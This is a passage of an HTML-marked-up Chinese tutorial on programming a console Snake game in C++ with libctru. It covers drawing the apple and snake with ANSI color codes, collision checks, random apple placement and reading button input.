&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;        putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; { TOP_SCREEN_WIDTH &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    &#x2F;&#x2F; 把光标移到左下角，打印50个#&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[30;1H##################################################&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;画苹果&quot;&gt;画苹果&lt;&#x2F;h2&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;console&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模式中，背景是黑色的，默认字符颜色是白色。想打印红色的苹果，同样需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;\x&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开头的字符串：\x1b[31m@\x1b[0m。其意为：切换颜色为红色，打印&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:red&quot;&gt;@&lt;&#x2F;span&gt;，恢复原来颜色。所以画苹果的代码是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;point apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;&#x2F;&#x2F; 生成苹果位置&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[31m@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;画蛇&quot;&gt;画蛇&lt;&#x2F;h2&gt;
&lt;p&gt;画蛇和画苹果类似，只是从打印一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:red&quot;&gt;@&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变成打印一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:green&quot;&gt;O&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表示头，再接着几个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:green&quot;&gt;o&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表示身子。因为蛇不会只剩一个头，所以遍历身子时可以从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开始。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;vector&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]);&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 头，绿色大写O&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;uz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]);&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; &#x2F;&#x2F; 身，绿色小写o&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是在更新蛇时，我们不必清空屏幕再重新画&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;清空屏幕再重新画会在每次更新时出现花屏，因为我们直接在修改玩家正在看的内容（即&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiki.osdev.org&#x2F;Double_Buffering#Example&quot;&gt;Single
Buffering&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。专业的游戏至少是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Double
Buffering：暗地里画好整个屏幕再替换给玩家看。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;直接在蛇头前一个画个新头，把原蛇头画成身子，再把蛇尾擦去（打印空格）即可。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mO&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; newHead&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[32mo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x1b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;[0m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;front&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不过这种画法不完全正确，因为蛇吃到苹果时身子会延长，所以在擦除尾巴之前应该先判定蛇头是否碰到苹果了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;newHead &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    putStringAt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;back&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;碰撞检测及生成苹果&quot;&gt;碰撞检测及生成苹果&lt;&#x2F;h2&gt;
&lt;p&gt;像这种字符画游戏的碰撞检测就是用或连起来一串相等：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitWall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_WIDTH &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成苹果的方式就是随机，然后看有没有撞到蛇或者墙：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitSnake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;point&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;begin&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; snake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; createApple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    do&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        apple &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;= {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; rand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_WIDTH&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; rand&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; TOP_SCREEN_HEIGHT &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;hitWall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; hitSnake&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;apple&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;读取输入、生成新蛇头&quot;&gt;读取输入、生成新蛇头&lt;&#x2F;h2&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libctru&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里，要先调用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hidScanInput，再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hidKeysDown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到按下的按键（或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hidKeysHeld&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到按住的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。后两者会返回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;u32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类型的编码，和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;KEY_UP、KEY_DOWN&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等常量按位与后则可以判定按下的到底是哪些键：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #2E8F82;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; getInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    hidScanInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
